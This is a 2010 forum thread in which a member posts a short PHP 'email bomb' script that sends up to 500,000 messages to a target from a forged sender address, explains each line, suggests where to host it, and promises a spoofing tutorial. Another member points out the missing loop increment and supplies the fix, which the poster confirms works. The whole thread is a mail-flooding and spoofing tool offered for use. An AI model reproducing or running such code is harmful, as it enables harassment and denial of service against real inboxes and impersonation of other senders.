Basic PHP Email Bomb for newbies

Go4Expert Member
16Oct2010,21:54   #1
&ever's Avatar
I haven't yet seen anything for an email bomb on here, so I decided to make one, and here is the code:

<?php
$mail = 1;
do {
mail("Client", "Subject", "Message", "Fake email you send from");
} while($mail < 500000);
?>
__________________________________________________ ___________________________
Above is the basic code for an email bomb with an email spoofer, the spoofer doesn't for this really doesn't require any coding skill, just the knowledge to type in an email.

In order to use this code you must find a webhosting site or anybody that allows PHP coding, I recommend making your own site.

Explanation:

<?php This is the starting of the code.
$mail = 1; This is defining the variable($mail) to equal 1
Do { This is a function
Mail("Client" , "Subject" ,"Message", "Fake email");
} Ends the function and is going to "reply " to the email given
While($mail < 50000); Says how many emails you will be sending
?> Ends index.php

This will not work very well with any email server that is a known name (yahoo, Gmail) they will just put it all in one folder.
Bresnan Msn and things like that usually are fine
__________________________________________________ ________________________
Hope this helped.
Will be making a tutorial on how to spoof your real email soon.
Go4Expert Founder
16Oct2010,22:35   #2
shabbir's Avatar
Isn't this an infinite loop because you are not incrementing the $mail
Go4Expert Member
16Oct2010,22:47   #3
&ever's Avatar
Yes but ($mail < 50000); sets the max emails sent.
Go4Expert Founder
16Oct2010,23:00   #4
shabbir's Avatar
} while($mail < 500000); and } while($mail < 2); is same if you don't increment the variable.
Go4Expert Member
16Oct2010,23:02   #5
&ever's Avatar
Your right, my mistake.
Go4Expert Member
16Oct2010,23:31   #6
&ever's Avatar
Quote:
Originally Posted by shabbir View Post
} while($mail < 500000); and } while($mail < 2); is same if you don't increment the variable.
I tested my code and recieved a few hundred emails...
nothing allows me to increment $mail , just gives me an error even your
"} while($mail < 500000); and } while($mail < 2);"

Would you like to create a bomb test it then send me the code to prove me wrong(all due respect)
I would just like to see this incrementation. I just tested all possible increments and cant seem to get them to work.
Go4Expert Founder
17Oct2010,10:29   #7
shabbir's Avatar
$mail++ would do it but if this does not work let me know and I will share the code snippets.
&ever like this
Go4Expert Member
17Oct2010,12:07   #8
&ever's Avatar
That fixed it, thanks!